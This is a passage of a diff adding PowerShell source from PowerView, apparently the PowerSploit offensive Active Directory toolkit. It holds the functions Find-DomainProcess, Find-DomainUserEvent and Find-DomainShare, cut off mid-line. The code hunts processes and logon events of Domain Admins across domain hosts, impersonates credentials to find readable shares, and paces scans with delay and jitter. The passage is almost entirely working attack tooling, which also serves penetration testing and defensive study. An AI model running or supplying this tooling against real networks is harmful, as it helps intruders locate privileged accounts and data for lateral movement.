$ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'TargetProcess')] + [ValidateNotNullOrEmpty()] + [String[]] + $ProcessName, + + [Parameter(ParameterSetName = 'TargetUser')] + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Parameter(ParameterSetName = 'TargetUser')] + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainProcess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainProcess] No hosts found to enumerate' + } + + # now build the user target set + if ($PSBoundParameters['ProcessName']) { + $TargetProcessName = @() + ForEach ($T in $ProcessName) { + $TargetProcessName += $T.Split(',') + } + if ($TargetProcessName -isnot [System.Array]) { + $TargetProcessName = [String[]] @($TargetProcessName) + } + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $GroupSearcherArguments + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $ProcessName, $TargetUsers, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if ($Credential) { + $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + else { + $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if ($ProcessName) { + if ($ProcessName -Contains $Process.ProcessName) { + $Process + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -Contains $Process.User) { + $Process + } + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainProcess] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'ProcessName' = $TargetProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainUserEvent { +<# +.SYNOPSIS + +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +.DESCRIPTION + +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +.PARAMETER ComputerName + +Specifies an explicit computer name to retrieve events from. + +.PARAMETER Domain + +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +.PARAMETER Filter + +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events (per host) to retrieve. Default of 5000. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer(s). + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserEvent + +Search for any user events matching domain admins on every DC in the current domain. + +.EXAMPLE + +$cred = Get-Credential dev\administrator +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +.EXAMPLE + +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +.EXAMPLE + +$cred = Get-Credential testlab\administrator +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogon')] + [CmdletBinding(DefaultParameterSetName = 'Domain')] + Param( + [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = 'Domain')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $Filter, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { + # otherwise we're querying a specific group + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + Write-Verbose "UserGroupIdentity: $UserGroupIdentity" + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + # if not -ComputerName is passed, query the current (or target) domain for domain controllers + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" + $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + } + if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { + $TargetComputers = @(,$TargetComputers) + } + Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" + Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserEvent] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $DomainUserEventArgs = @{ + 'ComputerName' = $TargetComputer + } + if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } + if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } + if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } + if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } + if ($Filter -or $TargetUsers) { + if ($TargetUsers) { + Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} + } + else { + $Operator = 'or' + $Filter.Keys | ForEach-Object { + if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { + if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { + $Operator = 'and' + } + } + } + $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} + Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { + if ($Operator -eq 'or') { + ForEach ($Key in $Keys) { + if ($_."$Key" -match $Filter[$Key]) { + $_ + } + } + } + else { + # and all clauses + ForEach ($Key in $Keys) { + if ($_."$Key" -notmatch $Filter[$Key]) { + break + } + $_ + } + } + } + } + } + else { + Get-DomainUserEvent @DomainUserEventArgs + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'StartTime' = $StartTime + 'EndTime' = $EndTime + 'MaxEvents' = $MaxEvents + 'TargetUsers' = $TargetUsers + 'Filter' = $Filter + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainShare { +<# +.SYNOPSIS + +Searches for computer shares on the domain. If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. If -CheckShareAccess is passed, then +[IO.Directory]::GetFiles() is used to check if the current user has read +access to the given share. If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainShare + +Find all domain shares in the current domain. + +.EXAMPLE + +Find-DomainShare -CheckShareAccess + +Find all domain shares in the current domain that the current user has +read access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.ShareInfo +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ShareInfo')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [Alias('Domain')] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Alias('CheckAccess')] + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainShare] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainShare] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $CheckShareAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + # $Remark = $Share.Remark + $Path = '\\'+$TargetComputer+'\'+$ShareName + + if (($ShareName) -and ($ShareName.trim() -ne '')) { + # see if we want to check access to this share + if ($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $Share + } + catch { + Write-Verbose "Error accessing share path $Path : $_" + } + } + else { + $Share + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, 